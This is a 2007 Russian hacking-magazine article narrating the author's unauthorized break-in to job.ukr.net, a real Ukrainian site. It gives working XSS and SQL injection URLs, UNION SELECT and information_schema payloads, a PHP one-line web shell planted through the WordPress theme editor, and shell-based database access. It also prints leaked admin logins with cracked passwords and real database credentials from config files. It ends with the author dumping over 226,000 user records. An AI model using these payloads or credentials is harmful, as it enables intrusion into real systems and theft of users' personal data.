Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #108, ДЕКАБРЬ 2007 г.

Ukr.net под хакерским колпаком

Александр «lamarez» Еременко (uaxakep@gmail.com)

Хакер, номер #108, стр. 108-072-1

Взлом крупного интернет-холдинга

Какое-то время назад я прочитал пафосную статью, в которой были названы крупнейшие интернет-холдинги Украины. В список входили такие конторы, как «Спутник-медиа» (известный в народе как Bigmir), «Укрнет» (ukr.net), oboz.ua (знакомый в первую очередь благодаря своей интернет-газете «Обозреватель»), а также «РБК-Украина» (rbc.ua, utro.ua). Все бы ничего, но в августовском номере «Хакера» была статья, посвященная взлому «Бигмира», которая не оставила меня равнодушным, вдохновив на «подвиг». «Чем я хуже?» - подумал я и стал быстро разрабатывать план внедрения во второй по счету холдинг ukr.net.

На старт, внимание, марш!

Ущерб от взлома крупных холдинговых компаний оценивается в миллионы, а то и в десятки миллионов баксов (как это было с «Бигмиром»). Поэтому хачить подобные организации - довольно рискованное занятие, ведь зачастую такие конторы не экономят на сисадминах, кодерах и, самое главное, юристах.

Ладно, я не стану грузить тебя нотациями и перейду непосредственно к описанию красивого взлома. Но вначале скажу, что, ломая что-либо, я (да и вряд ли один я :)) всегда обращаюсь за помощью к Гуглу. И этот раз не стал исключением...

Итак, я залез в мой любимый поисковик и вбил нехитрый запрос «site:ukr.net». Получив огромное количество страниц, я приступил к поиску интересных ответов. Сперва мой взор упал на сайт globe.ukr.net, но эксперименты с его контентом ничего не дали. Единственной победой была бесполезная XSS (http://globe.ukr.net/_data_handler.aspx?callback=<h1>test</test>'_fillCountries&cnt=countries_mainpage). Посмотрев несколько других сайтов от ukr.net, я нашел еще одну банальную XSS на paycard.ukr.net (проект специально заточен под статистику трафика неудачников-диалапщиков). URL выглядел примерно так:

http://paycard.ukr.net:8080/pls/abs/web_un.show?page_name=<script>alert('lol');</script>&logname=&chksum=

Но меня не интересовали XSS, я хотел найти что-то более серьезное, вроде SQL-инъекции или инклуда. А потому я вернулся в Гугл и сделал свой запрос более навороченным: «filetype:php site:ukr.net inurl:id=», что в переводе на русский означало «иди туда, не знаю куда, принеси то, не знаю что». Шутка. А если серьезно, перевод был следующим: «Найти все ссылки в файлах с расширением php во всех доменах *.ukr.net, в которых встречается фраза 'id='».

Удача не заставила себя ждать. В глаза практически сразу бросился линк http://job.ukr.net/viewres/view_IDres.php?rid=450717. Посмотрев на эту страницу повнимательнее, я догадался, что тут может быть SQL-иньект.

Но сразу рваться в бой я не стал, а лишь попробовал добавить к запросу «'». К моему удивлению, сервер в ответ ничего не выдал. Это означало, что либо скрипт беспощадно фильтровал значение переменной rid, либо вывод ошибок был отключен.

Но я не отчаивался – главное было зацепиться. Я подставил в переменную rid значение 450717+AND+1=1/* (что всегда означает логическое true) и сравнил с результатом значения 450717+AND+1=2/* (что всегда означает логическое false). Причем в первом случае ответ был идентичен оригиналу (http://job.ukr.net/viewres/view_IDres.php?rid=450717). Это доказывало факт наличия инъекции.

Сразу же после моего очередного открытия я приступил к подбору числа колонок. Ситуацию омрачал тот факт, что вывод ошибок был отключен. Таким образом, пришлось все делать вручную, а не с помощью скриптов.

Через несколько минут я получил то, что хотел, - колонок оказалось значительное количество, аж 37 штук. Конечный URL выглядел так:

http://job.ukr.net/viewres/view_IDres.php?rid=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,

17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37/*

К счастью, вывод данных присутствовал, и я мог получить все значения таблиц. Первое, что я попробовал сделать, - это вывести поля с mysql.user, но обломался - доступа не было.

Подставив на место 19-й колонки конструкцию «concat_ws(char(59),version(),user())», я узнал, что функция version() возвратила значение «5.0.24a» (версия MySQL), а функция user() вернула «jobuser@host15» (имя пользователя MySQL).

Любимый MySQL5

Так как СУБД была из пятой ветки, я мог вывести информацию из таблички INFORMATION_SCHEMA, а это значило, что мне не придется подбирать название таблиц/колонок. А это уже очень круто!

Итак, уже через 5 минут у меня был огромный список таблиц (состоящий из 225 штук). Быстро просмотрев его, я обратил внимание только на три: members, wp2_users, wp_users. Но для уверенности, что в таблицах содержатся конфиденциальные данные юзеров, я инжектировал следующий запрос:

SELECT table_name FROM information_schema.columns WHERE information_schema.columns.column_name LIKE '%pass%';

В ответ на этот финт мне вывелись все те же таблицы (их полный список ты можешь найти на нашем DVD), что не могло не радовать. Исходя из названий некоторых табличек (wp2_users, wp_users), можно было догадаться, что это WordPress (далее WP).

Чуть позже я узнал названия колонок обоих таблиц. Получив данные из wp2_users и wp_users, я обратил внимание на даты регистраций (в wp2_users - 6 юзеров, wp_users - 8) и понял, что wp2_users содержала более новые регистрации, в связи с чем хэши из нее и полетели в любимый PasswordsPro.

Спустя 2-3 минуты после старта брута я расшифровал ровно половину хэшей:

login:md5(pass):pass

dron:698d51a19d8a121ce581499d7b701668:111

prach:61731aee5b7b352ccd9b75cdb5d0d081:prach

cover:7694f4a66316e53c8cdd9d9954bd611d:q

Вот такие смешные пароли ставят админы на таких огромных сайтах, как ukr.net.

Сам движок WP висел на http://job.ukr.net/news. Получив реальные пароли, я пошел в атаку. Панель администрирования располагалась по адресу http://job.ukr.net/news/wp-login.php, куда я и направил свой браузер.

На полпути к успеху

Я стал админом! Теперь я мог создавать, редактировать и удалять новости, но мне этого было мало. Как известно, в WP без труда можно получить шелл с помощью редактора шаблонов, переписав PHP-файл, входящий в состав шаблона. Это я и сделал. Как? Сейчас объясню.

Сначала я вписал в index_.php (так назывался имеющийся в движке PHP-файл) стандартный однострочный шелл типа:

<?if(isset($_GET['cmd']){system($_GET['cmd']);}?>,

Затем зашел по урлу http://job.ukr.net/news/wp-content/themes/simpla1/index_.php?cmd=id, но, к своему сожалению, не получил никакого результата :(.

Но я не отчаялся, а решил залить полноценный многофункциональный шелл, работающий через opendir(). На удивление получилось, и передо мной предстал список файлов, данные о системе и... предательский safe_mod :(. Из-за него мои права были сильно урезаны, и потому я не получил никаких привилегий в системе. Мне даже не удавалось прочитать /etc/passwd, что очень огорчало.

Не падая духом, я начал искать конфиги – это, несмотря на safe_mod, я мог делать. Прочитав /var/www/job/config.php, я увидел логин/пароль от БД:

Содержимое /var/www/job/config.php

<?php

// Database connection

$db_host = "localhost";

$db_name = "ajob";

$db_login = "akella";

$db_pass = "alleka";

# echo 'bebebe';

// Establishment

$db_link = mysql_connect($db_host,$db_login,$db_pass);

$db_selected = mysql_select_db($db_name, $db_link);

// Disable errors

error_reporting(E_ALL ^ E_WARNING ^ E_NOTICE);

// Inclusion path

# ini_set('include_path','/var/www/ukr.net');

?>

Я тут же попробовал приконнектиться к БД следующим линком:

http://job.ukr.net/news/wp-content/themes/simpla1/sqldump.php?s=y&login=akella&passwd=akella&server=localhost&port=3306

Но, как назло, логин и пасс не подходили. И мне предстояло выяснить почему. Для исправления ситуации, я решил посмотреть другой конфиг - /var/www/job/news/config.php, но и там пароля не оказалось. Но внимательнее посмотрев, я обнаружил, что он инклудил в себе третий конфиг:

Содержимое /var/www/job/classes/mysql.config.php

<?php

class mysql_ini{

var $host = "10.60.20.12";

//var $host = "localhost";

var $db="job_news";

var $login = "newsmast";

# var $user = "jobuser";

var $pass = "rbtdl;j,";

}

?>

Здесь мне повезло – в конфиге оказались реальные логин/пароль от БД. Надо отметить, что этот конфиг распространялся на все сервисы домена job.ukr.net.

Я прицепился к СУБД линком:

http://job.ukr.net/news/wp-content/themes/simpla1/sqldump.php?s=y&login=jobuser&passwd=rbtdl;j,&server=10.60.20.12&port=3306&db=ajob&tbl=members&limit_start=0&limit_count=5

Затем слил базу с юзерами – members (226131 юзеров) и базу работодателей – agency (~550 юзеров), после чего благополучно удалился :).

Happy end

Всю следующую ночь меня мучили кошмары, будто я сижу в СИЗО и подвергаюсь ежедневным пыткам. Проснувшись утром в холодном поту, я набрался смелости и позвонил в техподдержку ukr.net, чтобы сообщить им, что безопасность их ресурсов оставляет желать лучшего. Как и прогнозировалось, уже назавтра баг прикрыли, а мои шеллы удалили.

Я не поленился и снова залил шелл через админку (благо пароли остались прежними :)). Но обломался - WP переустановили в другую папку, а администратор усилил настройки Apache. Файлы http://job.ukr.net уже находились в /var/www/job/, а http://job.ukr.net - в /var/www/jobnews. Поскольку все базы мирно покоились на моем винте, я не стал заново раскручивать баг, оставив ситуацию на совести админов.

Danger

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Содержание